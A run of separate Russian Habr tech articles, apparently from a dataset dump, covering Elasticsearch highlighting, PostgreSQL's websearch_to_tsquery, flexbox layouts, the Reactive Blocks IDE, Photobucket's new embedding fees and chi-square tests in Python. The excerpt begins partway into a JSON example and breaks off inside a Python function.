indexed_datetime: "2017-01-16 18:32:03.712"
}
],
content: {
size: 112387192, /* Файл больше 100 Mb */
indexed_datetime: "2017-01-16 18:32:33.321",
author: "John Smith",
processed_datetime: "2017-01-16 18:32:33.321",
length: "",
language: "",
state: "processed",
title: "Quarter Report (Q4Y2016)",
type: "application/pdf",
text: ".... очень много текста здесь ...."
}
}
```
Как вы уже догадались, это распарсеный контент pdf файла с финансовым отчётом размером немного более 100 Мб. Поле `content.text` я умышленно укоротил, очевидно, что его длина примерно равна тем самым 100 Мб.
Проведём простой эксперимент: возьмём 1000 таких документов и проиндексируем их ES'ом не используя каких-либо специальных настроек индекса или самого ES'а. Посмотрим насколько быстро будет работать поиск и хайлайт по этим документам.
Результаты:
* Поиск `match_phrase` в поле `content.text`: от 5 до 30 секунд.
* Формирование хайлайта для поля `content.text` для каждого из документов: более 10 секунд.
Такая производительность никуда не годится. Пользователь ожидает увидеть результаты мгновенно (< 200 мс), а не через десятки секунд. Давайте разберемся как решить проблему медленного формирования хайлайта. Проблему быстрого поиска по большим файлам рассмотрим в следующей статье цикла.
Выбираем алгоритм хайлайтинга
-----------------------------
В ES есть возможность использовать три вида хайлайтеров. См. [официальный мануал](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html).
Для тех кому лень читать, на пальцах:
* **Plain** — вариант по умолчанию, самый медленный, но самый качественный (по словам ES, почти на 100% отражает алгоритм поиска Lucene, и это правда), для формирования хайлайта выгружает весь документ в память и повторно анализирует его.
* **Postings** — более быстрый хайлайтер, бьёт поле на предложения и вытаскивает для хайлайта уже не весь документ, а предложения где найден токен, ранжируя их по алгоритму [BM25](http://nlp.stanford.edu/IR-book/html/htmledition/okapi-bm25-a-non-binary-model-1.html). Требует обогащения индекса позициями этих самых предложений.
* **Fast Vector Highlighting (FVH)** — позиционируется как самый быстрый хайлайтер, особенно для больших документов. Требует обогащения индекса данными о положениях всех токенов в исходном документе, благодаря этому формирует хайлайт почти за константное время, вне зависимости от размера документа.
Как описано выше, по умолчанию в ES используется Plain хайлайтер. Таким образом каждый раз для формирования хайлайтов ES выгружает в память все 100 мегабайт текста и из-за этого отвечает на запрос очень и очень медленно. Мы отказались от Plain хайлайтера и решили протестировать Postings и FVH. В итоге наш выбор пал на FVH по нескольким причинам:
* Документ размером в 100 Мб FVH в среднем хайлайтит около 10-20 мс, Postings на это тратит около секунды
* Postings не всегда корректно разбивает текст на предложения, поэтому размер полученного хайлайта довольно часто скачет (может вернуть 50 слов, а может и 300). С FVH такой проблемы замечено не было. Он возвращает заданное число токенов в обе стороны от попадания
* Postings хайлайтит токены независимо от их положения, поэтому подсветка фраз в этом случае работает некорректно. Например `simple_string_query` "иванов иван"~5 захайлайтит не только случаи когда два токена "иванов" и "иван" будут на расстоянии не более 5 токенов друг от друга, но и все остальные токены "иванов" или "иван" в заданном поле документа, как будто это был просто `bool` запрос на `match` "иванов" и "иван"
Подводные камни Fast Vector Highlighter
---------------------------------------
В процессе работы c FVH мы заметили следующую проблему: поисковый запрос `match_phrase` "иванов иван" находит вхождения "иванов иван" и "иван иванов", но FVH подсвечивает только попадания в порядке указанном в запросе. Данный нюанс не упоминается ни в одном мануале по ES, по нашему мнению данная ошибка возникает в результате того что FVH учитывает положения токенов для `match_phrase` запроса. Проблему мы решили обходным путем — добавляем в запрос поле `highlight_query` в котором перебираются все возможные положения токенов во фразе. Это единственный способ который позволял получить все хайлайты при этом сохранив производительность на должном уровне.
Итог
----
Хайлайтить большие документы ES действительно может, при этом быстро. Важно правильно настроить индекс, и учитывать особенности хайлайтера. Если вы решали похожую задачу и нашли, как вам кажется, более элегантное решение расскажите о нем в комментариях. | https://habr.com/ru/post/320390/ | null | ru | null |
# Что нового в PostgreSQL 11: встроенный веб-поиск
[Продолжая](https://habrahabr.ru/company/postgrespro/blog/353126/) тему интересных возможностей грядущего релиза PostgreSQL 11, я хотел бы рассказать про **новую встроенную функцию websearch\_to\_tsquery**. Соответствующий [патч](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=1664ae1978bf0f5ee940dc2fc8313e6400a7e7da) разработали Виктор Дробный и Дмитрий Иванов, с правками от Федора Сигаева. Давайте же разберемся, что реализовано в этом патче.
Казалось бы, [полнотекстовый поиск](https://eax.me/postgresql-full-text-search/) есть в PostgreSQL уже давно, и он очень даже неплохо работает. Что тут еще можно было добавить?
Представьте, что вы делаете интернет-магазин на базе PostgreSQL и вам нужен поиск по товарам. Вот вам прилетела форма с поисковым запросом. Для поиска по базе из этого запроса нужно как-то построить tsvector. Можно сделать это с помощью функции to\_tsquery. Но to\_tsquery ожидает, что строка будет в определенном формате:
`=# select to_tsquery('foo bar baz');
ERROR: syntax error in tsquery: "foo bar baz"
=# select to_tsquery('foo & bar & baz');
to_tsquery
-----------------------
'foo' & 'bar' & 'baz'`
Другими словами, в этом случае придется написать функцию, преобразующую запрос пользователя в запрос, понятный to\_tsquery. Неудобно. Отчасти эту проблему решают функции plainto\_tsquery и phraseto\_tsquery:
`=# select plainto_tsquery('foo bar baz');
plainto_tsquery
-----------------------
'foo' & 'bar' & 'baz'
=# select phraseto_tsquery('foo bar baz');
phraseto_tsquery
---------------------------
'foo' <-> 'bar' <-> 'baz'`
Но с ними есть проблема. Дело в том, что пользователь может интуитивно воспользоваться кавычками или, скажем, какими-то булевыми операторами, потому что это работает у Google, Яндекса и других поисковых систем. Давайте посмотрим, что произойдет в этом случае:
`=# select plainto_tsquery('"foo bar" -baz or qux');
plainto_tsquery
-------------------------------
'foo' & 'bar' & 'baz' & 'qux'`
Все сломалось! Ой. Неужели все-таки придется писать свой парсер?
Вот чтобы его не приходилось писать с нуля для каждого приложения, начиная с PostgreSQL 11 соответствующий парсер теперь будет прямо в СУБД:
`=# select websearch_to_tsquery('"foo bar" -baz or qux');
websearch_to_tsquery
----------------------------------
'foo' <-> 'bar' & !'baz' | 'qux'`
Помимо того, что websearch\_to\_tsquery понимает кавычки, знак минус и булевы операторы, он интересен тем, что игнорирует любые попытки сделать синтаксическую ошибку. То есть, вы никогда не получите ошибку, на выходе всегда будет *какой-то* tsquery:
`=# select websearch_to_tsquery('-"foo bar" ((( baz or or qux !@#$%^&*_+-=');
websearch_to_tsquery
--------------------------------------
!( 'foo' <-> 'bar' ) & 'baz' | 'qux'`
Еще из особенностей функции следует отметить тот факт, что она игнорирует любые скобки. То есть, вот так не прокатит:
`=# select websearch_to_tsquery('foo and (bar or baz)');
websearch_to_tsquery
-----------------------
'foo' & 'bar' | 'baz'`
Данное поведение было выбрано из соображений, что нормальные люди (не айтишники :trollface:) на практике скобочки все равно не используют. Просто игнорируя их, мы существенно упрощаем реализацию фичи «сделать так, чтобы функция никогда не завершалась с ошибкой», да и разбор запроса будет работать быстрее. Возможно, флаг, включающий поддержку скобочек, появится в будущих версиях.
Такая вот несложная, но полезная функция. Как минимум, она делает полнотекстовый поиск в PostgreSQL не хуже, чем он был до этого, и позволяет разработчикам упростить код своих приложений. | https://habr.com/ru/post/353848/ | null | ru | null |
# Flexbox для интерфейсов во всей красе: Реализация Tracks (Часть 1)
Дни ухищрений с float и margin наконец позади, так как сегодня CSS предлагает разработчикам новые улучшенные возможности, которые отлично подходят для деликатных раскладок. Такие функции раскладок, как вертикальное выравнивание, равномерное распределение свободного пространства, управление порядком исходного кода и прочие шаблоны, вроде «липких» футеров, довольно легко воплотить с помощью flexbox.
В этой статье мы рассмотрим шаблоны раскладки, которые подходят для flexbox, используя интерфейс приложения [Tracks](http://buildtracks.com/), в котором также используются принципы атомного дизайна. Я расскажу вам, как flexbox доказал свою эффективность, и укажу некоторые подводные камни использования его вместе с определенными шаблонами раскладки. Мы рассмотрим шаблоны, которые создают проблемы, приведем примеры запасных вариантов и поделимся дополнительными тактиками того, как начать использовать данное свойство CSS немедленно.
[Часть 2](http://habrahabr.ru/company/paysto/blog/271397/)
#### Гибкие атомарные компоненты
Подход к интерфейсу Tracks начался с исследования каждого элемента в качестве отдельного случая с использованием принципов, описанных [Бредом Фростом](http://bradfrost.com/).
Атомарный дизайн может рассматриваться, как состоящий из небольших деталей LEGO, составленных вместе для создания большего различимого куска интерфейса. Научные термины, такие как организм, атом и молекула, используются для того, чтобы разработчики могли категорировать отдельные элементы интерфейса и получать более глубокое понимание каждой отдельной части целого. Такой вид категоризации создает возможность для идентификации таких шаблонов и предотвращает влияние извне таких элементов как сетки, цвета и свободное пространство, на достижение цели, которая состоит в идентификации шаблонов. Построение начиная от микроскопического уровня, обеспечивает более обширное распределение этих частей по всему интерфейсу.
*Рисунок 1. Эти карточки приложения используются для отображения данных, которые были построены с помощью принципов атомного дизайна. Попробуйте угадать, в каких частях используется flexbox.*
*Рисунок 2. Основной интерфейс приложения Tracks, в котором в полном объеме используется flexbox и атомарный дизайн.*
Дизайн интерфейса передан в виде набора компиляций InVision. В процессе первоначальной оценки интерфейса я начал определять области, в которых flexbox принес бы наибольшую пользу. Также я решил использовать flexbox для раскладок страниц с использованием таких известных шаблонов, как «боковая панель слева, основной контент справа», которые чаще всего воплощаются с помощью прижимания.
Один из приятнейших аспектов в редизайне Tracks заключается в том, что в проекте потребовалась поддержка Internet Explorer (IE) 10+, Android 4.1+ и iOS 7+. Это была хорошая новость, так как они отлично поддерживают flexbox с соответствующими префиксами. Даже несмотря на то, что на сегодняшний день поддержка стала значительно более стабильной, операционные системы младше, скажем, Android 4.1, требуют запасных вариантов. Как может выглядеть запасной вариант в случае, когда поддержки не существует? Разработчики, использующие Modernizr, могут направлять такие браузеры, используя класс .no-flexbox, и создавать более стабильную поддерживаемую систему раскладок (или вы можете использовать запросы [функций CSS с @supports](http://davidwalsh.name/css-supports), которые также отлично поддерживаются). Например:
```
* …
* …
* …
```
```
html.flexbox ul.flexbox-target,
html.no-js ul.flexbox-target {
display: flex;
flex-direction: row;
}
html.no-flexbox ul.flexbox-target li,
html.no-js ul.flexbox-target li {
display: inline-block; /* Также вместо этого можно использовать систему раскладки, позиционированную с прижиманием */
}
```
Если flexbox не поддерживается должным образом, мы можем пойти дальше и использовать display: inline-block для создания запасного варианта раскладки. Также мы можем добавить no-js в декларацию на случай, если JavaScript откажет. Если не будет поддерживаться flexbox, сработает каскадный характер CSS, даже если JavaScript будет отключен или при загрузке обнаружатся ошибки. Flexbox может сосуществовать с float и display: table и относительным позиционированием, кроме того, браузеры, поддерживающие flexbox, отдадут ему приоритет перед прочими определениями, тогда как браузеры, не поддерживающие flexbox, будут игнорировать его свойства и просто откатятся до старых добрых механизмов раскладки CSS.
Как и в любом другом случае, сложный выбор будет зависеть от масштаба проекта, аналитики и бюджета. Мое золотое правило – всегда выбирать то, что наиболее логично для проекта.
#### Строчные шаблоны
Навигационные компоненты давно показали себя очень эффективными в сочетании с flexboxом не только с точки зрения упрощения реализации, но также для сокращения сессий разработки. Строчные шаблоны, реализация которых, как нам известно, занимает немало времени у разработчиков, теперь могут воплощаться в считанные минуты благодаря flexboxу. Если вы испытали на себе разработку с помощью этого вида шаблонов еще до появления IE 9, тогда вы знаете, как это раздражает.
*Рисунок 3. В этой навигации по админке используется строчный шаблон раскладки с навигационными элементами, центрированными по вертикали.*
Шаблон разметки для навигации по админке состоит из тега nav, включающего в себя серию якорей. Вот пример такого шаблона в HTML:
```
[Back to pipeline](pipeline.html)
[Account](account.html)
[Users](users.html)
[Export](export.html)
```
А вот соответствующие стили:
```
nav[role="navigation"] {
display: flex;
align-items: center; /* Центрировать элементы навигации по вертикали */
}
nav[role="navigation"] a {
display: inline-block; /* Чтобы избежать проблем с раскладкой строчных элементов в IE 10 */
}
nav[role="navigation"] a[href="pipeline.html"] {
flex: 1;
}
```
Количество CSS здесь такое же минимальное, как и разметка. Вспомните значение inline-block. Это определение исключает любые будущие проблемы в IE 10, если вам пришлось изменить последовательность элементов с помощью свойства order. Также было обнаружено, что любые отступы, заданные непосредственным дочерним элементам flex-контейнера, определенным с помощью свойства flex, приводит к проблемам раскладки в IE 10. Неплохо бы выполнять постоянные проверки по всем браузерам и платформам.
*Рисунок 4. Этот шаблон навигации по заголовку с центрированным логотипом часто встречается в сети, кроме того, он подходит для flexboxа.*
Общий строчный шаблон, приведенный выше, как правило, реализовывается с помощью несемантической разметки. Теперь, когда появился flexbox, больше не требуются такие хитрости.
Раскладка состоит из набора пунктов меню слева, логотипа по центру и дополнительных элементов справа. Разметка для такого шаблона выглядит следующим образом:
```
[…](pipeline.html)
…
…
[…](#menu)
```
Flexbox поможет устранить необходимость в хитростях с HTML и может поддерживать семантику, как это показано в разметке. Сохранение семантики является довольно важным этапом, так как у HTML будет больше шансов использоваться повторно в будущем, кроме прочего – за рамками данного обсуждения.
До того, как появился flexbox, разработчики использовали такие подходы, как display: inline-block и float: left, чтобы получить строчные раскладки. Сегодня, когда flexbox стал вполне реальным вариантом, разработчикам больше не нужно следовать неудачным практикам ради эстетики. Требуемый CSS не настолько краток, как в шаблоне навигации по админке на рис. 3, но его все равно можно реализовать быстрее, чем в методах, описанных ранее.
```
.pipeline-header {
display: flex;
align-items: center;
justify-content: space-between;
}
.pipeline-header > a {
display: inline-block; /* IE 10 не распознает order, поэтому мы делаем это, чтобы избежать непропорциональных раскладок. */
}
.pipeline-logo {
flex: 1;
order: 2;
text-align: center;
}
.pipeline-nav {
flex: 1.25;
order: 1;
}
.pipeline-search {
flex: 1;
order: 3;
}
a[href="#menu"] {
order: 4;
}
```
Когда вы используете шаблон, приведенный на рис. 3, помните, что порядок исходника может измениться. Если вам нужно сместить положение логотипа, это будет довольно сложно сделать с помощью свойства order. Не забывайте, что исходный порядок всегда важен для доступности и в какой-то мере является спорным, когда речь идет о flexboxе. Для навигации с помощью клавиатуры все браузеры и скринридеры используют порядок исходного кода, а не визуальный порядок, определенный CSS.
*Рисунок 5. Нормальный поток, записанный в разметке и отрисованный в браузере (слева) и порядок, измененный с помощью flexbox без настройки разметки (справа).*
Приведенный ниже код относится к описанной выше раскладке. Разметка никогда не изменялась так, чтобы влиять на порядок отображения.
```
```
А это CSS, используемый для изменения порядка в диаграмме, расположенной справа на рис. 5.
```
.container {
display: flex;
flex-direction: columns; /* ряд является значением по умолчанием */
}
header {
order: 2;
}
main {
order: 3;
}
footer {
order: 1;
}
```
Такой вид раскладки предназначен не только для навигации. Вы наверняка видели такой шаблон в footer.
Используя этот шаблон, учитывайте, как контент может заполнять контейнер и потреблять пространство. Будет ли контент выходить за рамки центра? А что если контент опустится вниз? Как это повлияет на прочие элементы раскладки? Задавайте себе эти вопросы в каждом проекте, прежде чем приступать к реализации. А учет порядка навигации с клавиатуры так же важен для конечного пользователя.
[Часть 2](http://habrahabr.ru/company/paysto/blog/271397/)
---
**Платежные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/271195/ | null | ru | null |
# Как разработать приложение для автоматизации почти не умея программировать. Придется выучить IDE…
Хочешь создать свой проект в «железе», который перевернет мир с ног на голову? Или автоматизировать управление светом в коридоре. При этом ты не специалист в программировании микроконтроллеров, но разобрался с arduino и тем как моргать её светодиодами и только узнал о полевых транзисторах, симисторах, 1-Wire. Теперь хочешь управлять всем этим хозяйством и предоставить доступ через интернет и хранить данные в облаке.
Или ты дружишь с паяльником, гуру программирования ПЛК, снифишь PDU в modbus. Но компьютер с Windows и SCADA слишком дорог для проекта или не подходит почему-то еще… И хочется запускать программу на одноплатном компьютере Raspberry PI с доступом к ее переферии GPIO, I2C.
Методы визуального программирования
===================================
Используя готовые компоненты и библиотеки, можно разрабатывать программу используя языки визуального программирования. К счастью программистов и к несчастью пользователей всех таких систем, настает такой момент, когда нужна функциональность, которая не поддерживается «из коробки». Программы не генерируют другие программы для нашего сложного мира лучше чем программисты и у нас пока есть работа. Перечислим как же можно визуально программировать типовые задачи:
**Блок-схемы/Дружелюбный русский алгоритмический язык, который обеспечивает наглядность(ДРАКОН)/Р-схемы и т.п.** Что я отлично запомнил по программированию в школе и первых курсах института, так это блок-схемы. Рисование блок-схем подходят для занятий студентов, чтобы как и у солдат, все свободное время было занято работой. Еще одно их применение — обучение программированию на листе бумаге. Ну и наконец, кто-то работает и рисует такие диаграммы, чтобы сдать госпроект по ЕСПД/ГОСТ. Посочувствуем им!
**CASE инструментарий** — сотни их за заоблачные деньги и часто с сомнительной пользой. Особенно много таких систем используется архитекторами ПО и баз данных.
**Диаграмма состояний UML** из которой с помощью кодогенерации можно получить заготовку или готовую управляющую программу. Эта диаграмма является примером [автоматного программирования](https://en.wikipedia.org/wiki/Automata-based_programming). И отлично подходит для проектирования компиляторов, многих электронных устройств и любых задач и модулей систем в которых есть сущности со сложным поведением.
**Язык релейно-контактной логики.** Этот язык должен быть близок инженерам и тем кто программирует ПЛК. [Программирование лифта](https://www.youtube.com/watch?v=088IRtGAWbg) — один из типичных примеров использования.
**Среда визуального программирования LabVIEW** позволяет делать достаточно сложные системы визуально и тесно связана с аппаратным обеспечением National Instruments. Понравился пример того как [AndreyDmitriev](https://habrahabr.ru/users/andreydmitriev/) в комментариях на хабре [реализовали задачу](https://habrahabr.ru/post/309440/#comment_9795522) в визуальном редакторе для сравнения сложности с Delphi решением и обзор [LabVIEW](https://habrahabr.ru/post/57859/). В эту же категорию попадает и Simulink для Matlab, как подсказали в комментариях.
Reactive Blocks
===============
В этой же статье про [Reactive Blocks](http://www.bitreactive.com/) используется модифицированная UML диаграмма деятельности, которая приспособлена под компоненты проекта и из которой генерируется код. Разработчики сделали plugin для Eclipse со своей моделью, анализатором схем и событиями компонент.
Проект доступен бесплатно для open source проектов, с вполне логичным ограничением. Все созданные вами в IDE Building Blocks станут доступными всем под open source лицензией.
Идеология Reactive Blocks
=========================
Это визуальное конструирование приложения из готовых существующих кирпичиков — building block, которые скрывают всю сложность взаимодействия с «железом» и облачными сервисами.
Конечно, сложные алгоритмы лучше писать как java код, поэтому графическая диаграмма и код поддерживаются в синхронизированном состоянии автоматически. Это извечная мечта компонентного проектирования, когда компоненты пишут программисты, а используют их пользователи-эксперты в своей области.
Так же как и не стоит делать из диаграммы — спагетти диаграмму из сотни и тысяч элементов. В этом случае можно поддиаграмму оформить в виде точно такого компонента-строительного блока. В случае open source решения, вы публикуете свой блок, чтобы сообщество также могло использовать его в своих проектах.
Есть возможность автоматически упаковать свое приложение в пакет (OSGI bundle) для платформы Eclipse Kura. Тогда возможен перезапуск приложения без перезапуска контейнера, доступна консоль для администрирования, а также множество сервисов этой IoT платформы и вся мощь существующих компонентов и запускать это на Raspberry PI или Beagleboard Black.
Установка Reactive Blocks
=========================
Есть вариант скачать специальную сборку eclipse+Reactive Blocks сразу готовую к запуску со [страницы](http://reference.bitreactive.com/reference/installation.html) для Windows, Mac OS X или Linux. Другой вариант, если у вас есть установленный Eclipse Neon(4.6)/Mars(4.5)/Luna(4.4)/Kepler(4.3) — нужно указать [Update-Site](http://updates.bitreactive.com/) и [установить](http://reference.bitreactive.com/reference/install-from-update-site.html) плагин.
В любом случае для сборок Linux, основанных на debian, нужно установить пакет libwebkitgtk-1.0 перед запуском среды разработки:
```
sudo apt install libwebkitgtk-1.0
```
Для использования в готовой сборке JDK, отличной от доступной в системе по-умолчанию, нужно добавить строчки в файл reactiveblocks.ini:
```
-vm
PATH_TO_YOUR_JDK/bin/java
```
Знакомство с Reactive Blocks
============================
Для доступа к серверу компонент пришлось пройти авторизацию и аутентификацию с помощью Google аккаунта.
Написал вопросы по почте и к чести их инженеров и менеджмента, мне устроили мастер-класс один на один по google hangout с видео конференцией, скринкастом IDE и разбором простого примера. Их ведущий разработчик оказался инженером из аэрокосмической отрасли и любит в свободное время заниматься [авиамоделирование и проектирует автопилот](http://tim.jagenberg.info/tag/raspberrypylot/).
Мне показался очень интересным пример сигнализации на [RaspberryPI с использованием акселерометра](http://www.bitreactive.com/intruder-detection-with-raspberry-pi/).
Поигравшись с разными примерами, посмотрев на содержимое Building Blocks под капотом. Особенно интересно было обнаружить там уже знакомую мне библиотеку OpenIMAJ.
Лично для себя я не нашел преимуществ Reactive Blocks по сравнению с разработкой под [Apache Camel](http://camel.apache.org) с его компонентами [rhiot](https://www.gitbook.com/book/rhiot/rhiotdocumentation/details) и возможностями визуализации. Про что скоро опубликую пост и даже рабочий пример уже готов! В своей публикации на хабре [Управляем автоматом на Groovy/Java. Как ЧПУ станку в домашней мастерской не превратиться в мульт героев «двое из ларца»](https://habrahabr.ru/post/314462/) я использовал Apache Camel для управлением [ЧПУ станком](https://github.com/igor-suhorukov/camel-gcode).
**Попытка скрестить BeagleBoard Black GPIO с Reactive Blocks была безуспешной.**Так как библиотека для работы с GPIO SilverThings/bulldog не смогла работать в режиме обработки прерывания. Можно конечно опрашивать порт ввода в цикле — но это как-то не правильно. Завел багрепорт #96 для этой библиотеки.
Встроенные в процессор BeagleBoard Black [RPU](http://beagleboard.org/pru) подходят для real time задач где не место java с ее GC STW паузами.
Для java программистов, в отличии от инженеров по электронике, возникают мысли по практическому использованию Bitreactive IDE в сложных проектах и надо разбираться:
* как происходит одновременная работа над одной диаграммой нескольких человек;
* как происходит рефакторинг проекта с множеством диаграмм;
* зачем было делать свой сервер для хранения компонент, когда уже есть maven совместимые репозитарии;
* как увидеть diff для разных версий диаграммы?
* как разрабатывать тесты и делать mock для компонент. Вроде как есть генерация для jUnit, но надо углубляться в практику тестирование реальных приложений.
Выводы
------
Вместо изучения языков программирования вам придется выучить его нотацию схем, компоненты и средство разработки. Нужно ли это программисту?
Это решение больше подойдет для инженеров не специалистов в ПО, которые не хотят вникать в тонкости программирования на java, но хотят использовать всю мощь существующих компонент для связи с «облачными» сервисами IoT, мультимедиа и работы с java библиотеками, обернутыми в building block. | https://habr.com/ru/post/310784/ | null | ru | null |
# Photobucket запретил бесплатное встраивание изображений и поломал тысячи сайтов
Халява закончилась. Больше не получится гонять бесплатный трафик с [Photobucket](http://photobucket.com/) через встроенные (embedded) фотографии с этого сайта. Подсадив на бесплатный сервис 100 миллионов пользователей, компания сделала его платным — и теперь просит $400 за годовой абонемент на встроенные изображения.
Новая политика особенно доставит проблемы самым давним пользователям Photobucket, которые с давних времён размещали фотографии на Photobucket и публиковали встроенные изображения. Сервис работает 14 лет, и он всегда был бесплатным. Теперь придётся перезаливать картинки и менять все ссылки.
26 июня 2017 года Photobucket [сообщил](http://blog.photobucket.com/update-terms-service/) в своём корпоративном блоге об изменении [условий обслуживания](http://photobucket.com/terms) и о том, что новые условия действуют с 20 июня 2017 года.
В разделе «Типы аккаунтов» теперь перечислены три типа аккаунтов: бесплатный (Free), аккаунт без баннеров (Ad-free) и премиальный (Plus). Как указано, бесплатный аккаунт предусматривает 2 ГБ дискового пространства для хранения фотографий, но **не разрешает** встраивать изображения на сторонних сайтах. При превышении лимита в 2 ГБ аккаунт немедленно замораживается, а пользователь может разблокировать его, если перейдёт в ряды платных подписчиков. Аккаунт без баннеров позволяет убрать рекламу с сайта Photobucket после авторизации пользователя с этим типом аккаунта, но реклама будет показываться всем остальным посетителям при просмотре его фотографий. Этот тип аккаунта стоит $2,49 в месяц. Наконец, премиальный аккаунт (Plus) предлагается трёх видов: Plus 50, Plus 100 и Plus 500 на 52, 102 и 500 ГБ, соответственно. Только третий из этих аккаунтов Plus 500 позволяет размещать неограниченное количество встроенных изображений на сторонних хостингах. Он также предусматривает просмотр сайта без рекламы, приоритетную пользовательскую поддержку и хранение фотографий в полном оригинальном разрешении. Стоимость этого тарифа $39,99 в месяц или $399,99 в год.
В условиях использования указано, что под публикацией на стороннем хостинге подразумевается, в частности, использование тега `![]()` для встраивания изображения с аккаунта Photobucket на любом форуме, доске объявлений, аукционе eBay, в блоге и так далее.
Большинство пользователей узнали об изменениях условий использования сервиса не из блога, а когда без всякого предупреждения увидели вместо своих картинок с Photobucket на сторонних сайтах вот такое сообщение:
 | https://habr.com/ru/post/405051/ | null | ru | null |
# Семейство тестов хи-квадрат: что у них под капотом и какие выбрать для сравнения воронок
Всем привет, меня зовут Вячеслав Зотов, я аналитик в студии Whalekit. В этом тексте я расскажу про статистические тесты и сравнение воронок, а также мы попробуем разобраться, что объединяет *χ*²-тесты, какова область их применения и подробно исследуем применимость *χ*²-тестов к анализу воронок. И все это с примерами на Python.
Тест *χ*² — очень полезный аналитический инструмент, который тем не менее часто вызывает у аналитиков недопонимание и путаницу. Прежде всего это происходит из-за того, что существует целое семейство тестов *χ*², имеющих разные области применения. Дополнительную путаницу создает то, что тесты *χ*² часто рекомендуют применять для анализа продуктовых и маркетинговых воронок, а это обычно приводит к ошибочному использованию тестов.
1. χ²-распределение
-------------------
Начнем с импорта библиотек:
```
import warnings
warnings.filterwarnings('ignore')
import os
import math
import random
import re
import pandas as pd
import numpy as np
import scipy.stats as stats
from matplotlib import pyplot as plt
import matplotlib.ticker as mtick
import seaborn as sns
from matplotlib import cm
import matplotlib.colors
```
Распределение *χ*² возникает при возведении в квадрат нормально распределенной случайной величины:
```
np.random.seed(1234)
size = 10000 # размеры случайных переменных
loc = 0
scale = 1
result = pd.DataFrame([[0] * size], index = ['chi2_1']).T
plt.figure(figsize = (15, 5))
# перебираем значения степеней свободы k
for k in range(2, 22, 3):
# создаем фрейм результатов
current_result = pd.DataFrame([[0] * size], index = [1]).T
# генерируем нужное количество нормально распределенных переменных, находим сумму их квадратов
for i in range(1, k + 1): current_result[i] = pd.Series(np.random.normal(loc = loc, scale = scale, size = size))
# находим сумму квадратов
current_result['chi2'] = (current_result * current_result).sum(axis = 1)
sns.kdeplot(current_result['chi2'], label = 'k = {}'.format(k))
plt.legend(title = 'Степени свободы'), plt.ylabel('$f_k(x)$'), plt.xlabel('$x$'), plt.title('Распределения $\chi_k^2$')
plt.show()
```
2. χ²-тесты
-----------
Существует три *χ*²-теста.
1. Тест на гомогенность (test of homogeneity, он же goodness of fit) — непараметрический, одновыборочный тест, который проверяет соответствие наблюдаемого распределения категориальной случайной величины некоторому эталонному распределению. В Python реализован функцией `scipy.stats.chisquare`.
2. Тест на независимость (он же test of independence/association) — непараметрический, одновыборочный тест, который проверяет наличие связи между двумя категориальными переменными. В Python реализован функцией `scipy.stats.chi2_contingency`.
3. Тест для дисперсии — параметрический (параметр — дисперсия), одновыборочный тест, который проверяет равенство дисперсии непрерывной случайной величины заданному порогу. В Python для него нет готовой функции.
Первые два теста используют критерий согласия Пирсона (КСП), который имеет распределение *χ*². Третий тест никак не относится к первым двум за исключением того, что статистика, которую он использует, также имеет распределение *χ*² (об этом ниже).
Критерий согласия Пирсона рассчитывается по формуле:
Здесь:
* *O* — наблюдаемое значение;
* *E* — ожидаемое значение.
Таким образом, КСП — это разница между наблюдаемым и ожидаемым значением, возведенная в квадрат (нам важно не направление отличий, а только факт их наличия) и нормированная с помощью деления на ожидаемое значение (чтобы слишком быстро не росла).
Если мы сравниваем набор наблюдаемых значений с набором эталонов, то формула КСП приобретает вид:
В том случае, когда *O* и *E* имеют нормальное распределение, КСП имеет распределение *χ*².
Получается, что мы можем провести статистический тест с гипотезами:
* H0: между наблюдаемым распределение и эталонным распределением нет различий;
* H1: между наблюдаемым распределение и эталонным распределением есть различия.
Если различий нет, то КСП будет стремиться к нулю. В противном случае она окажется за пределами интервала наиболее вероятных значений:
Тесты с КСП, таким образом, непараметрические (поскольку не оценивают никакие из параметров распределений) и односторонние (так как статистика всегда положительная за счет возведения в квадрат — вот [некоторые рассуждения](https://stats.stackexchange.com/questions/171074/chi-square-test-why-is-the-chi-squared-test-a-one-tailed-test) на этот счет). Поскольку тест непараметрический, мы можем напрямую сравнивать полученную статистику с эталонным распределением (без применения несмещенных оценок как в *z*- и *t*-тестах).
Остался маленький нюанс — *O* и *E* должны иметь нормальное распределение. При работе с категориальными переменными это достигается за счет нормальной аппроксимации биномиального распределения (вот [обсуждение](https://www.real-statistics.com/chi-square-and-f-distributions/goodness-of-fit/) по теме).
### 2.1 χ²-тест на гомогенность (homogeneity, goodness of fit)
Предположим, что у нас есть таблица реально наблюдаемых вероятностей появления наблюдений в группах (Observed) и ожидаемых вероятностей появления (Expected):
Тогда гипотезы для теста goodness of fit можно представить таким образом:
* H0: *O*₁ = *O*₂ = *O*₃ = ... = *O*ₙ (то есть наблюдение может относиться с равной вероятностью к каждой из групп);
* H1: Хотя бы одна из вероятностей *O*[*ᵢ*](https://unicode-table.com/en/sets/superscript-and-subscript-letters/) не равна остальным.
или таким:
* H0: *O*₁ = *E*₁, *O*₂ = *E*₂, *O*₃ = *E*₃, ..., *O*ₙ = *E*ₙ (то есть вероятности соответствуют ожидаемому распределению);
* H1: хотя бы в одном случае *O*[*ᵢ*](https://unicode-table.com/en/sets/superscript-and-subscript-letters/) не равна *E*[*ᵢ*](https://unicode-table.com/en/sets/superscript-and-subscript-letters/) (то есть вероятности не соответствуют ожидаемому распределению).
Пример расчета статистики ([источник](https://www.jmp.com/en_ca/statistics-knowledge-portal/chi-square-test/chi-square-goodness-of-fit-test.html)):
Для полученную статистики можно рассчитать p-value для распределения *χ*² при числе степеней свободы *d* = (*n*-1) = 4:
```
1 - stats.chi2.cdf(52.75, 4)
```
`9.612521889579284e-11`
Сравнив его с уровнем значимости α = 0.05, можно сделать вывод о том, что нулевая гипотеза отвергается и конфеты распределены по вкусам неравномерно.
Еще примеры расчета: [один](https://www.sbcc.edu/mathematics/mathlab/docs/worksheets/chisquare.pdf) и [второй](https://online.stat.psu.edu/stat500/lesson/8/8.2).
Напишем функцию для проведения теста:
```
def diy_chisquare(observed, expected):
